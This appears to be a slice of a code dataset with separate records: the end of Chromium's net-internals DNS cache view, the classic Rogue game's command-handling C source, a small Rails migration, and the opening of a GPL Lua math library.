'dns-view-cache-expired';\n DnsView.NETWORK_SPAN_ID = 'dns-view-network-changes';\n DnsView.CACHE_TBODY_ID = 'dns-view-cache-tbody';\n\n cr.addSingletonGetter(DnsView);\n\n DnsView.prototype = {\n // Inherit the superclass's methods.\n __proto__: superClass.prototype,\n\n onLoadLogFinish: function(data) {\n return this.onHostResolverInfoChanged(data.hostResolverInfo);\n },\n\n onHostResolverInfoChanged: function(hostResolverInfo) {\n // Clear the existing values.\n $(DnsView.CAPACITY_SPAN_ID).innerHTML = '';\n $(DnsView.CACHE_TBODY_ID).innerHTML = '';\n $(DnsView.ACTIVE_SPAN_ID).innerHTML = '0';\n $(DnsView.EXPIRED_SPAN_ID).innerHTML = '0';\n $(DnsView.NETWORK_SPAN_ID).innerHTML = '0';\n\n // Update fields containing async DNS configuration information.\n displayAsyncDnsConfig_(hostResolverInfo);\n\n // No info.\n if (!hostResolverInfo || !hostResolverInfo.cache)\n return false;\n\n // Fill in the basic cache information.\n var hostResolverCache = hostResolverInfo.cache;\n $(DnsView.CAPACITY_SPAN_ID).innerText = hostResolverCache.capacity;\n $(DnsView.NETWORK_SPAN_ID).innerText =\n valueOrDefault(hostResolverCache.network_changes, '');\n\n var expiredEntries = 0;\n // Date the cache was logged. This will be either now, when actively\n // logging data, or the date the log dump was created.\n var logDate;\n if (MainView.isViewingLoadedLog()) {\n logDate = new Date(ClientInfo.numericDate);\n } else {\n logDate = new Date();\n }\n\n // Fill in the cache contents table.\n for (var i = 0; i < hostResolverCache.entries.length; ++i) {\n var e = hostResolverCache.entries[i];\n var tr = addNode($(DnsView.CACHE_TBODY_ID), 'tr');\n var expired = false;\n\n var hostnameCell = addNode(tr, 'td');\n addTextNode(hostnameCell, e.hostname);\n\n var familyCell = addNode(tr, 'td');\n addTextNode(familyCell, addressFamilyToString(e.address_family));\n\n var addressesCell = addNode(tr, 'td');\n\n // In M87, \"error\" was replaced with \"net_error\".\n // TODO(https://crbug.com/1122054): Remove this once M87 hits stable.\n if (e.error != undefined)\n e.net_error = e.error;\n\n if (e.net_error != undefined) {\n var errorText = e.error + ' (' + netErrorToString(e.error) + ')';\n var errorNode = addTextNode(addressesCell, 'error: ' + errorText);\n addressesCell.classList.add('warning-text');\n } else {\n addListToNode_(addNode(addressesCell, 'div'), e.addresses);\n }\n\n var ttlCell = addNode(tr, 'td');\n addTextNode(ttlCell, valueOrDefault(e.ttl, ''));\n\n var expiresDate = timeutil.convertTimeTicksToDate(e.expiration);\n var expiresCell = addNode(tr, 'td');\n timeutil.addNodeWithDate(expiresCell, expiresDate);\n if (logDate > timeutil.convertTimeTicksToDate(e.expiration)) {\n expired = true;\n var expiredSpan = addNode(expiresCell, 'span');\n expiredSpan.classList.add('warning-text');\n addTextNode(expiredSpan, ' [Expired]');\n }\n\n var nikCell = addNode(tr, 'td');\n // Versions prior to M84 used lists instead of strings for logged NIKs.\n addTextNode(nikCell, '' + e.network_isolation_key);\n\n // HostCache keeps track of how many network changes have happened since\n // it was created, and entries store what that number was at the time\n // they were created. If more network changes have happened since an\n // entry was created, the entry is expired.\n var networkChangesCell = addNode(tr, 'td');\n addTextNode(networkChangesCell, valueOrDefault(e.network_changes, ''));\n if (e.network_changes < hostResolverCache.network_changes) {\n expired = true;\n var expiredSpan = addNode(networkChangesCell, 'span');\n expiredSpan.classList.add('warning-text');\n addTextNode(expiredSpan, ' [Expired]');\n }\n\n if (expired) {\n expiredEntries++;\n }\n }\n\n $(DnsView.ACTIVE_SPAN_ID).innerText =\n hostResolverCache.entries.length - expiredEntries;\n $(DnsView.EXPIRED_SPAN_ID).innerText = expiredEntries;\n return true;\n },\n };\n\n /**\n * Displays information corresponding to the current async DNS configuration.\n * @param {Object} hostResolverInfo The host resolver information.\n */\n function displayAsyncDnsConfig_(hostResolverInfo) {\n // Clear the table.\n $(DnsView.INTERNAL_DNS_CONFIG_TBODY_ID).innerHTML = '';\n\n // Figure out if the internal DNS resolver is disabled or has no valid\n // configuration information, and update display accordingly.\n var enabled = hostResolverInfo && hostResolverInfo.dns_config !== undefined;\n var noConfig =\n enabled && hostResolverInfo.dns_config.nameservers === undefined;\n $(DnsView.INTERNAL_DNS_ENABLED_SPAN_ID).innerText = enabled;\n setNodeDisplay($(DnsView.INTERNAL_DNS_INVALID_CONFIG_SPAN_ID), noConfig);\n\n // If the internal DNS resolver is disabled or has no valid configuration,\n // we're done.\n if (!enabled || noConfig)\n return;\n\n var dnsConfig = hostResolverInfo.dns_config;\n\n // Display nameservers first.\n var nameserverRow = addNode($(DnsView.INTERNAL_DNS_CONFIG_TBODY_ID), 'tr');\n addNodeWithText(nameserverRow, 'th', 'nameservers');\n addListToNode_(addNode(nameserverRow, 'td'), dnsConfig.nameservers);\n\n // Add everything else in |dnsConfig| to the table.\n for (var key in dnsConfig) {\n if (key == 'nameservers')\n continue;\n var tr = addNode($(DnsView.INTERNAL_DNS_CONFIG_TBODY_ID), 'tr');\n addNodeWithText(tr, 'th', key);\n var td = addNode(tr, 'td');\n\n // For lists, display each list entry on a separate line.\n if (typeof dnsConfig[key] == 'object' &&\n dnsConfig[key].constructor == Array) {\n addListToNode_(td, dnsConfig[key]);\n continue;\n }\n\n addTextNode(td, dnsConfig[key]);\n }\n }\n\n /**\n * Takes a last of strings and adds them all to a DOM node, displaying them\n * on separate lines.\n * @param {DomNode} node The parent node.\n * @param {Array} list List of strings to add to the node.\n */\n function addListToNode_(node, list) {\n for (var i = 0; i < list.length; ++i)\n addNodeWithText(node, 'div', list[i]);\n }\n\n // TODO(mgersh): The |ttl| and |network_changes| properties were introduced in\n // M59 and may not exist when loading older logs. This can be removed in M62.\n function valueOrDefault(value, defaultValue) {\n if (value != undefined)\n return value;\n return defaultValue;\n }\n\n return DnsView;\n})();\n\n"} -{"text": "/*\n * Read and execute the user commands\n *\n * @(#)command.c\t4.73 (Berkeley) 08/06/83\n *\n * Rogue: Exploring the Dungeons of Doom\n * Copyright (C) 1980-1983, 1985, 1999 Michael Toy, Ken Arnold and Glenn Wichman\n * All rights reserved.\n *\n * See the file LICENSE.TXT for full copyright and licensing information.\n */\n\n#include \n#include \n#include \n#include \n#include \"rogue.h\"\n\n/*\n * command:\n *\tProcess the user commands\n */\nvoid\ncommand()\n{\n register char ch;\n register int ntimes = 1;\t\t\t/* Number of player moves */\n char *fp;\n THING *mp;\n static char countch, direction, newcount = FALSE;\n\n if (on(player, ISHASTE))\n\tntimes++;\n /*\n * Let the daemons start up\n */\n do_daemons(BEFORE);\n do_fuses(BEFORE);\n while (ntimes--)\n {\n\tagain = FALSE;\n\tif (has_hit)\n\t{\n\t endmsg();\n\t has_hit = FALSE;\n\t}\n\t/*\n\t * these are illegal things for the player to be, so if any are\n\t * set, someone's been poking in memeory\n\t */\n\tif (on(player, ISSLOW|ISGREED|ISINVIS|ISREGEN|ISTARGET))\n\t exit(1);\n\n\tlook(TRUE);\n\tif (!running)\n\t door_stop = FALSE;\n\tstatus();\n\tlastscore = purse;\n\tmove(hero.y, hero.x);\n\tif (!((running || count) && jump))\n\t refresh();\t\t\t/* Draw screen */\n\ttake = 0;\n\tafter = TRUE;\n\t/*\n\t * Read command or continue run\n\t */\n#ifdef MASTER\n\tif (wizard)\n\t noscore = TRUE;\n#endif\n\tif (!no_command)\n\t{\n\t if (running || to_death)\n\t\tch = runch;\n\t else if (count)\n\t\tch = countch;\n\t else\n\t {\n\t\tch = readchar();\n\t\tmove_on = FALSE;\n\t\tif (mpos != 0)\t\t/* Erase message if its there */\n\t\t msg(\"\");\n\t }\n\t}\n\telse\n\t ch = '.';\n\tif (no_command)\n\t{\n\t if (--no_command == 0)\n\t {\n\t\tplayer.t_flags |= ISRUN;\n\t\tmsg(\"you can move again\");\n\t }\n\t}\n\telse\n\t{\n\t /*\n\t * check for prefixes\n\t */\n\t newcount = FALSE;\n\t if (isdigit(ch))\n\t {\n\t\tcount = 0;\n\t\tnewcount = TRUE;\n\t\twhile (isdigit(ch))\n\t\t{\n\t\t count = count * 10 + (ch - '0');\n\t\t if (count > 255)\n\t\t\tcount = 255;\n\t\t ch = readchar();\n\t\t}\n\t\tcountch = ch;\n\t\t/*\n\t\t * turn off count for commands which don't make sense\n\t\t * to repeat\n\t\t */\n\t\tswitch (ch)\n\t\t{\n\t\t case CTRL('B'): case CTRL('H'): case CTRL('J'):\n\t\t case CTRL('K'): case CTRL('L'): case CTRL('N'):\n\t\t case CTRL('U'): case CTRL('Y'):\n\t\t case '.': case 'a': case 'b': case 'h': case 'j':\n\t\t case 'k': case 'l': case 'm': case 'n': case 'q':\n\t\t case 'r': case 's': case 't': case 'u': case 'y':\n\t\t case 'z': case 'B': case 'C': case 'H': case 'I':\n\t\t case 'J': case 'K': case 'L': case 'N': case 'U':\n\t\t case 'Y':\n#ifdef MASTER\n\t\t case CTRL('D'): case CTRL('A'):\n#endif\n\t\t\tbreak;\n\t\t default:\n\t\t\tcount = 0;\n\t\t}\n\t }\n\t /*\n\t * execute a command\n\t */\n\t if (count && !running)\n\t\tcount--;\n\t if (ch != 'a' && ch != ESCAPE && !(running || count || to_death))\n\t {\n\t\tl_last_comm = last_comm;\n\t\tl_last_dir = last_dir;\n\t\tl_last_pick = last_pick;\n\t\tlast_comm = ch;\n\t\tlast_dir = '\\0';\n\t\tlast_pick = NULL;\n\t }\nover:\n\t switch (ch)\n\t {\n\t\tcase ',': {\n\t\t THING *obj = NULL;\n\t\t int found = 0;\n\t\t for (obj = lvl_obj; obj != NULL; obj = next(obj))\n \t\t\t{\n\t\t\t if (obj->o_pos.y == hero.y && obj->o_pos.x == hero.x)\n\t\t\t {\n\t\t\t\tfound=1;\n\t\t\t\tbreak;\n\t\t\t }\n \t\t\t}\n\n\t\t if (found) {\n\t\t\tif (levit_check())\n\t\t\t ;\n\t\t\telse\n\t\t\t pick_up((char)obj->o_type);\n\t\t }\n\t\t else {\n\t\t\tif (!terse)\n\t\t\t addmsg(\"there is \");\n\t\t\taddmsg(\"nothing here\");\n if (!terse)\n addmsg(\" to pick up\");\n endmsg();\n\t\t }\n\t\t}\n\t\twhen '!': shell();\n\t\twhen 'h': do_move(0, -1);\n\t\twhen 'j': do_move(1, 0);\n\t\twhen 'k': do_move(-1, 0);\n\t\twhen 'l': do_move(0, 1);\n\t\twhen 'y': do_move(-1, -1);\n\t\twhen 'u': do_move(-1, 1);\n\t\twhen 'b': do_move(1, -1);\n\t\twhen 'n': do_move(1, 1);\n\t\twhen 'H': do_run('h');\n\t\twhen 'J': do_run('j');\n\t\twhen 'K': do_run('k');\n\t\twhen 'L': do_run('l');\n\t\twhen 'Y': do_run('y');\n\t\twhen 'U': do_run('u');\n\t\twhen 'B': do_run('b');\n\t\twhen 'N': do_run('n');\n\t\twhen CTRL('H'): case CTRL('J'): case CTRL('K'): case CTRL('L'):\n\t\tcase CTRL('Y'): case CTRL('U'): case CTRL('B'): case CTRL('N'):\n\t\t{\n\t\t if (!on(player, ISBLIND))\n\t\t {\n\t\t\tdoor_stop = TRUE;\n\t\t\tfirstmove = TRUE;\n\t\t }\n\t\t if (count && !newcount)\n\t\t\tch = direction;\n\t\t else\n\t\t {\n\t\t\tch += ('A' - CTRL('A'));\n\t\t\tdirection = ch;\n\t\t }\n\t\t goto over;\n\t\t}\n\t\twhen 'F':\n\t\t kamikaze = TRUE;\n\t\t /* FALLTHROUGH */\n\t\tcase 'f':\n\t\t if (!get_dir())\n\t\t {\n\t\t\tafter = FALSE;\n\t\t\tbreak;\n\t\t }\n\t\t delta.y += hero.y;\n\t\t delta.x += hero.x;\n\t\t if ( ((mp = moat(delta.y, delta.x)) == NULL)\n\t\t\t|| ((!see_monst(mp)) && !on(player, SEEMONST)))\n\t\t {\n\t\t\tif (!terse)\n\t\t\t addmsg(\"I see \");\n\t\t\tmsg(\"no monster there\");\n\t\t\tafter = FALSE;\n\t\t }\n\t\t else if (diag_ok(&hero, &delta))\n\t\t {\n\t\t\tto_death = TRUE;\n\t\t\tmax_hit = 0;\n\t\t\tmp->t_flags |= ISTARGET;\n\t\t\trunch = ch = dir_ch;\n\t\t\tgoto over;\n\t\t }\n\t\twhen 't':\n\t\t if (!get_dir())\n\t\t\tafter = FALSE;\n\t\t else\n\t\t\tmissile(delta.y, delta.x);\n\t\twhen 'a':\n\t\t if (last_comm == '\\0')\n\t\t {\n\t\t\tmsg(\"you haven't typed a command yet\");\n\t\t\tafter = FALSE;\n\t\t }\n\t\t else\n\t\t {\n\t\t\tch = last_comm;\n\t\t\tagain = TRUE;\n\t\t\tgoto over;\n\t\t }\n\t\twhen 'q': quaff();\n\t\twhen 'Q':\n\t\t after = FALSE;\n\t\t q_comm = TRUE;\n\t\t quit(0);\n\t\t q_comm = FALSE;\n\t\twhen 'i': after = FALSE; inventory(pack, 0);\n\t\twhen 'I': after = FALSE; picky_inven();\n\t\twhen 'd': drop();\n\t\twhen 'r': read_scroll();\n\t\twhen 'e': eat();\n\t\twhen 'w': wield();\n\t\twhen 'W': wear();\n\t\twhen 'T': take_off();\n\t\twhen 'P': ring_on();\n\t\twhen 'R': ring_off();\n\t\twhen 'o': option(); after = FALSE;\n\t\twhen 'c': call(); after = FALSE;\n\t\twhen '>': after = FALSE; d_level();\n\t\twhen '<': after = FALSE; u_level();\n\t\twhen '?': after = FALSE; help();\n\t\twhen '/': after = FALSE; identify();\n\t\twhen 's': search();\n\t\twhen 'z':\n\t\t if (get_dir())\n\t\t\tdo_zap();\n\t\t else\n\t\t\tafter = FALSE;\n\t\twhen 'D': after = FALSE; discovered();\n\t\twhen CTRL('P'): after = FALSE; msg(huh);\n\t\twhen CTRL('R'):\n\t\t after = FALSE;\n\t\t clearok(curscr,TRUE);\n\t\t wrefresh(curscr);\n\t\twhen 'v':\n\t\t after = FALSE;\n\t\t msg(\"version %s. (mctesq was here)\", release);\n\t\twhen 'S': \n\t\t after = FALSE;\n\t\t save_game();\n\t\twhen '.': ;\t\t\t/* Rest command */\n\t\twhen ' ': after = FALSE;\t/* \"Legal\" illegal command */\n\t\twhen '^':\n\t\t after = FALSE;\n\t\t if (get_dir()) {\n\t\t\tdelta.y += hero.y;\n\t\t\tdelta.x += hero.x;\n\t\t\tfp = &flat(delta.y, delta.x);\n if (!terse)\n addmsg(\"You have found \");\n\t\t\tif (chat(delta.y, delta.x) != TRAP)\n\t\t\t msg(\"no trap there\");\n\t\t\telse if (on(player, ISHALU))\n\t\t\t msg(tr_name[rnd(NTRAPS)]);\n\t\t\telse {\n\t\t\t msg(tr_name[*fp & F_TMASK]);\n\t\t\t *fp |= F_SEEN;\n\t\t\t}\n\t\t }\n#ifdef MASTER\n\t\twhen '+':\n\t\t after = FALSE;\n\t\t if (wizard)\n\t\t {\n\t\t\twizard = FALSE;\n\t\t\tturn_see(TRUE);\n\t\t\tmsg(\"not wizard any more\");\n\t\t }\n\t\t else\n\t\t {\n\t\t\twizard = passwd();\n\t\t\tif (wizard) \n\t\t\t{\n\t\t\t noscore = TRUE;\n\t\t\t turn_see(FALSE);\n\t\t\t msg(\"you are suddenly as smart as Ken Arnold in dungeon #%d\", dnum);\n\t\t\t}\n\t\t\telse\n\t\t\t msg(\"sorry\");\n\t\t }\n#endif\n\t\twhen ESCAPE:\t/* Escape */\n\t\t door_stop = FALSE;\n\t\t count = 0;\n\t\t after = FALSE;\n\t\t again = FALSE;\n\t\twhen 'm':\n\t\t move_on = TRUE;\n\t\t if (!get_dir())\n\t\t\tafter = FALSE;\n\t\t else\n\t\t {\n\t\t\tch = dir_ch;\n\t\t\tcountch = dir_ch;\n\t\t\tgoto over;\n\t\t }\n\t\twhen ')': current(cur_weapon, \"wielding\", NULL);\n\t\twhen ']': current(cur_armor, \"wearing\", NULL);\n\t\twhen '=':\n\t\t current(cur_ring[LEFT], \"wearing\",\n\t\t\t\t\t terse ? \"(L)\" : \"on left hand\");\n\t\t current(cur_ring[RIGHT], \"wearing\",\n\t\t\t\t\t terse ? \"(R)\" : \"on right hand\");\n\t\twhen '@':\n\t\t stat_msg = TRUE;\n\t\t status();\n\t\t stat_msg = FALSE;\n\t\t after = FALSE;\n\t\totherwise:\n\t\t after = FALSE;\n#ifdef MASTER\n\t\t if (wizard) switch (ch)\n\t\t {\n\t\t\tcase '|': msg(\"@ %d,%d\", hero.y, hero.x);\n\t\t\twhen 'C': create_obj();\n\t\t\twhen '$': msg(\"inpack = %d\", inpack);\n\t\t\twhen CTRL('G'): inventory(lvl_obj, 0);\n\t\t\twhen CTRL('W'): whatis(FALSE, 0);\n\t\t\twhen CTRL('D'): level++; new_level();\n\t\t\twhen CTRL('A'): level--; new_level();\n\t\t\twhen CTRL('F'): show_map();\n\t\t\twhen CTRL('T'): teleport();\n\t\t\twhen CTRL('E'): msg(\"food left: %d\", food_left);\n\t\t\twhen CTRL('C'): add_pass();\n\t\t\twhen CTRL('X'): turn_see(on(player, SEEMONST));\n\t\t\twhen CTRL('~'):\n\t\t\t{\n\t\t\t THING *item;\n\n\t\t\t if ((item = get_item(\"charge\", STICK)) != NULL)\n\t\t\t\titem->o_charges = 10000;\n\t\t\t}\n\t\t\twhen CTRL('I'):\n\t\t\t{\n\t\t\t int i;\n\t\t\t THING *obj;\n\n\t\t\t for (i = 0; i < 9; i++)\n\t\t\t\traise_level();\n\t\t\t /*\n\t\t\t * Give him a sword (+1,+1)\n\t\t\t */\n\t\t\t obj = new_item();\n\t\t\t init_weapon(obj, TWOSWORD);\n\t\t\t obj->o_hplus = 1;\n\t\t\t obj->o_dplus = 1;\n\t\t\t add_pack(obj, TRUE);\n\t\t\t cur_weapon = obj;\n\t\t\t /*\n\t\t\t * And his suit of armor\n\t\t\t */\n\t\t\t obj = new_item();\n\t\t\t obj->o_type = ARMOR;\n\t\t\t obj->o_which = PLATE_MAIL;\n\t\t\t obj->o_arm = -5;\n\t\t\t obj->o_flags |= ISKNOW;\n\t\t\t obj->o_count = 1;\n\t\t\t obj->o_group = 0;\n\t\t\t cur_armor = obj;\n\t\t\t add_pack(obj, TRUE);\n\t\t\t}\n\t\t\twhen '*' :\n\t\t\t pr_list();\n\t\t\totherwise:\n\t\t\t illcom(ch);\n\t\t }\n\t\t else\n#endif\n\t\t\tillcom(ch);\n\t }\n\t /*\n\t * turn off flags if no longer needed\n\t */\n\t if (!running)\n\t\tdoor_stop = FALSE;\n\t}\n\t/*\n\t * If he ran into something to take, let him pick it up.\n\t */\n\tif (take != 0)\n\t pick_up(take);\n\tif (!running)\n\t door_stop = FALSE;\n\tif (!after)\n\t ntimes++;\n }\n do_daemons(AFTER);\n do_fuses(AFTER);\n if (ISRING(LEFT, R_SEARCH))\n\tsearch();\n else if (ISRING(LEFT, R_TELEPORT) && rnd(50) == 0)\n\tteleport();\n if (ISRING(RIGHT, R_SEARCH))\n\tsearch();\n else if (ISRING(RIGHT, R_TELEPORT) && rnd(50) == 0)\n\tteleport();\n}\n\n/*\n * illcom:\n *\tWhat to do with an illegal command\n */\nvoid\nillcom(int ch)\n{\n save_msg = FALSE;\n count = 0;\n msg(\"illegal command '%s'\", unctrl(ch));\n save_msg = TRUE;\n}\n\n/*\n * search:\n *\tplayer gropes about him to find hidden things.\n */\nvoid\nsearch()\n{\n register int y, x;\n register char *fp;\n register int ey, ex;\n int probinc;\n bool found;\n\n ey = hero.y + 1;\n ex = hero.x + 1;\n probinc = (on(player, ISHALU) ? 3 : 0);\n probinc += (on(player, ISBLIND) ? 2 : 0);\n found = FALSE;\n for (y = hero.y - 1; y <= ey; y++) \n\tfor (x = hero.x - 1; x <= ex; x++)\n\t{\n\t if (y == hero.y && x == hero.x)\n\t\tcontinue;\n\t fp = &flat(y, x);\n\t if (!(*fp & F_REAL))\n\t\tswitch (chat(y, x))\n\t\t{\n\t\t case '|':\n\t\t case '-':\n\t\t\tif (rnd(5 + probinc) != 0)\n\t\t\t break;\n\t\t\tchat(y, x) = DOOR;\n msg(\"a secret door\");\nfoundone:\n\t\t\tfound = TRUE;\n\t\t\t*fp |= F_REAL;\n\t\t\tcount = FALSE;\n\t\t\trunning = FALSE;\n\t\t\tbreak;\n\t\t case FLOOR:\n\t\t\tif (rnd(2 + probinc) != 0)\n\t\t\t break;\n\t\t\tchat(y, x) = TRAP;\n\t\t\tif (!terse)\n\t\t\t addmsg(\"you found \");\n\t\t\tif (on(player, ISHALU))\n\t\t\t msg(tr_name[rnd(NTRAPS)]);\n\t\t\telse {\n\t\t\t msg(tr_name[*fp & F_TMASK]);\n\t\t\t *fp |= F_SEEN;\n\t\t\t}\n\t\t\tgoto foundone;\n\t\t\tbreak;\n\t\t case ' ':\n\t\t\tif (rnd(3 + probinc) != 0)\n\t\t\t break;\n\t\t\tchat(y, x) = PASSAGE;\n\t\t\tgoto foundone;\n\t\t}\n\t}\n if (found)\n\tlook(FALSE);\n}\n\n/*\n * help:\n *\tGive single character help, or the whole mess if he wants it\n */\nvoid\nhelp()\n{\n register struct h_list *strp;\n register char helpch;\n register int numprint, cnt;\n msg(\"character you want help for (* for all): \");\n helpch = readchar();\n mpos = 0;\n /*\n * If its not a *, print the right help string\n * or an error if he typed a funny character.\n */\n if (helpch != '*')\n {\n\tmove(0, 0);\n\tfor (strp = helpstr; strp->h_desc != NULL; strp++)\n\t if (strp->h_ch == helpch)\n\t {\n\t\tlower_msg = TRUE;\n\t\tmsg(\"%s%s\", unctrl(strp->h_ch), strp->h_desc);\n\t\tlower_msg = FALSE;\n\t\treturn;\n\t }\n\tmsg(\"unknown character '%s'\", unctrl(helpch));\n\treturn;\n }\n /*\n * Here we print help for everything.\n * Then wait before we return to command mode\n */\n numprint = 0;\n for (strp = helpstr; strp->h_desc != NULL; strp++)\n\tif (strp->h_print)\n\t numprint++;\n if (numprint & 01)\t\t/* round odd numbers up */\n\tnumprint++;\n numprint /= 2;\n if (numprint > LINES - 1)\n\tnumprint = LINES - 1;\n\n wclear(hw);\n cnt = 0;\n for (strp = helpstr; strp->h_desc != NULL; strp++)\n\tif (strp->h_print)\n\t{\n\t wmove(hw, cnt % numprint, cnt >= numprint ? COLS / 2 : 0);\n\t if (strp->h_ch)\n\t\twaddstr(hw, unctrl(strp->h_ch));\n\t waddstr(hw, strp->h_desc);\n\t if (++cnt >= numprint * 2)\n\t\tbreak;\n\t}\n wmove(hw, LINES - 1, 0);\n waddstr(hw, \"--Press space to continue--\");\n wrefresh(hw);\n wait_for(' ');\n clearok(stdscr, TRUE);\n/*\n refresh();\n*/\n msg(\"\");\n touchwin(stdscr);\n wrefresh(stdscr);\n}\n\n/*\n * identify:\n *\tTell the player what a certain thing is.\n */\nvoid\nidentify()\n{\n register int ch;\n register struct h_list *hp;\n register char *str;\n static struct h_list ident_list[] = {\n\t{'|',\t\t\"wall of a room\",\t\tFALSE},\n\t{'-',\t\t\"wall of a room\",\t\tFALSE},\n\t{GOLD,\t\t\"gold\",\t\t\t\tFALSE},\n\t{STAIRS,\t\"a staircase\",\t\t\tFALSE},\n\t{DOOR,\t\t\"door\",\t\t\t\tFALSE},\n\t{FLOOR,\t\t\"room floor\",\t\t\tFALSE},\n\t{PLAYER,\t\"you\",\t\t\t\tFALSE},\n\t{PASSAGE,\t\"passage\",\t\t\tFALSE},\n\t{TRAP,\t\t\"trap\",\t\t\t\tFALSE},\n\t{POTION,\t\"potion\",\t\t\tFALSE},\n\t{SCROLL,\t\"scroll\",\t\t\tFALSE},\n\t{FOOD,\t\t\"food\",\t\t\t\tFALSE},\n\t{WEAPON,\t\"weapon\",\t\t\tFALSE},\n\t{' ',\t\t\"solid rock\",\t\t\tFALSE},\n\t{ARMOR,\t\t\"armor\",\t\t\tFALSE},\n\t{AMULET,\t\"the Amulet of Yendor\",\t\tFALSE},\n\t{RING,\t\t\"ring\",\t\t\t\tFALSE},\n\t{STICK,\t\t\"wand or staff\",\t\tFALSE},\n\t{'\\0'}\n };\n\n msg(\"what do you want identified? \");\n ch = readchar();\n mpos = 0;\n if (ch == ESCAPE)\n {\n\tmsg(\"\");\n\treturn;\n }\n if (isupper(ch))\n\tstr = monsters[ch-'A'].m_name;\n else\n {\n\tstr = \"unknown character\";\n\tfor (hp = ident_list; hp->h_ch != '\\0'; hp++)\n\t if (hp->h_ch == ch)\n\t {\n\t\tstr = hp->h_desc;\n\t\tbreak;\n\t }\n }\n msg(\"'%s': %s\", unctrl(ch), str);\n}\n\n/*\n * d_level:\n *\tHe wants to go down a level\n */\nvoid\nd_level()\n{\n if (levit_check())\n\treturn;\n if (chat(hero.y, hero.x) != STAIRS)\n\tmsg(\"I see no way down\");\n else\n {\n\tlevel++;\n\tseenstairs = FALSE;\n\tnew_level();\n }\n}\n\n/*\n * u_level:\n *\tHe wants to go up a level\n */\nvoid\nu_level()\n{\n if (levit_check())\n\treturn;\n if (chat(hero.y, hero.x) == STAIRS)\n\tif (amulet)\n\t{\n\t level--;\n\t if (level == 0)\n\t\ttotal_winner();\n\t new_level();\n\t msg(\"you feel a wrenching sensation in your gut\");\n\t}\n\telse\n\t msg(\"your way is magically blocked\");\n else\n\tmsg(\"I see no way up\");\n}\n\n/*\n * levit_check:\n *\tCheck to see if she's levitating, and if she is, print an\n *\tappropriate message.\n */\nbool\nlevit_check()\n{\n if (!on(player, ISLEVIT))\n\treturn FALSE;\n msg(\"You can't. You're floating off the ground!\");\n return TRUE;\n}\n\n/*\n * call:\n *\tAllow a user to call a potion, scroll, or ring something\n */\nvoid\ncall()\n{\n register THING *obj;\n register struct obj_info *op = NULL;\n register char **guess, *elsewise = NULL;\n register bool *know;\n\n obj = get_item(\"call\", CALLABLE);\n /*\n * Make certain that it is somethings that we want to wear\n */\n if (obj == NULL)\n\treturn;\n switch (obj->o_type)\n {\n\tcase RING:\n\t op = &ring_info[obj->o_which];\n\t elsewise = r_stones[obj->o_which];\n\t goto norm;\n\twhen POTION:\n\t op = &pot_info[obj->o_which];\n\t elsewise = p_colors[obj->o_which];\n\t goto norm;\n\twhen SCROLL:\n\t op = &scr_info[obj->o_which];\n\t elsewise = s_names[obj->o_which];\n\t goto norm;\n\twhen STICK:\n\t op = &ws_info[obj->o_which];\n\t elsewise = ws_made[obj->o_which];\nnorm:\n\t know = &op->oi_know;\n\t guess = &op->oi_guess;\n\t if (*guess != NULL)\n\t\telsewise = *guess;\n\twhen FOOD:\n\t msg(\"you can't call that anything\");\n\t return;\n\totherwise:\n\t guess = &obj->o_label;\n\t know = NULL;\n\t elsewise = obj->o_label;\n }\n if (know != NULL && *know)\n {\n\tmsg(\"that has already been identified\");\n\treturn;\n }\n if (elsewise != NULL && elsewise == *guess)\n {\n\tif (!terse)\n\t addmsg(\"Was \");\n\tmsg(\"called \\\"%s\\\"\", elsewise);\n }\n if (terse)\n\tmsg(\"call it: \");\n else\n\tmsg(\"what do you want to call it? \");\n\n if (elsewise == NULL)\n\tstrcpy(prbuf, \"\");\n else\n\tstrcpy(prbuf, elsewise);\n if (get_str(prbuf, stdscr) == NORM)\n {\n\tif (*guess != NULL)\n\t free(*guess);\n\t*guess = malloc((unsigned int) strlen(prbuf) + 1);\n\tstrcpy(*guess, prbuf);\n }\n}\n\n/*\n * current:\n *\tPrint the current weapon/armor\n */\nvoid\ncurrent(THING *cur, char *how, char *where)\n{\n after = FALSE;\n if (cur != NULL)\n {\n\tif (!terse)\n\t addmsg(\"you are %s (\", how);\n\tinv_describe = FALSE;\n\taddmsg(\"%c) %s\", cur->o_packch, inv_name(cur, TRUE));\n\tinv_describe = TRUE;\n\tif (where)\n\t addmsg(\" %s\", where);\n\tendmsg();\n }\n else\n {\n\tif (!terse)\n\t addmsg(\"you are \");\n\taddmsg(\"%s nothing\", how);\n\tif (where)\n\t addmsg(\" %s\", where);\n\tendmsg();\n }\n}\n"} -{"text": "class AddPriceFieldsToSpendingProposals < ActiveRecord::Migration[4.2]\n def change\n add_column :spending_proposals, :price_first_year, :float\n end\nend\n"} -{"text": "--[[ License\n\tA math library made in Lua\n\tcopyright (C) 2014 Davis Claiborne\n\tThis program is free software; you can redistribute it and/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation; either version 2 of the License, or\n\t(at your option) any later version.\n\tThis program is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\tGNU General Public License for more details.\n\tYou should have received a copy of the GNU General Public License along\n\twith this program; if not, write to the Free Software Foundation, Inc.,\n\t51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\tContact me at davisclaib@gmail.com\n]]\n\n-- Local Utility Functions ---------------------- {{{\nlocal unpack = table.unpack or unpack\n\n-- Used to handle variable-argument functions and whether they are passed as func{ table } or func( unpack( table ) )\nlocal function checkInput( ... )\n\tlocal input = {}\n\tif type( ... ) ~= 'table' then input = { ... } else input = ... end\n\treturn input\nend\n\n-- Deals with floats / verify false false values. This can happen because of significant figures.\nlocal function checkFuzzy( number1, number2 )\n\treturn ( number1 - .00001 <= number2 and number2 <= number1 + .00001 )\nend\n\n-- Remove multiple occurrences from a table.\nlocal function removeDuplicatePairs( tab )\n\tfor index1 = #tab, 1, -1 do\n\t\tlocal first = tab[index1]\n\t\tfor index2 = #tab, 1, -1 do\n\t\t\tlocal second = tab[index2]\n\t\t\tif index1 ~= index2 then\n\t\t\t\tif type( first[1] ) == 'number' and type( second[1] ) == 'number' and type( first[2] ) == 'number' and type( second[2] ) == 'number' then\n\t\t\t\t\tif checkFuzzy( first[1], second[1] ) and checkFuzzy( first[2], second[2] ) then\n\t\t\t\t\t\ttable.remove( tab, index1 )\n\t\t\t\t\tend\n\t\t\t\telseif first[1] == second[1] and first[2] == second[2] then\n\t\t\t\t\ttable.remove( tab, index1 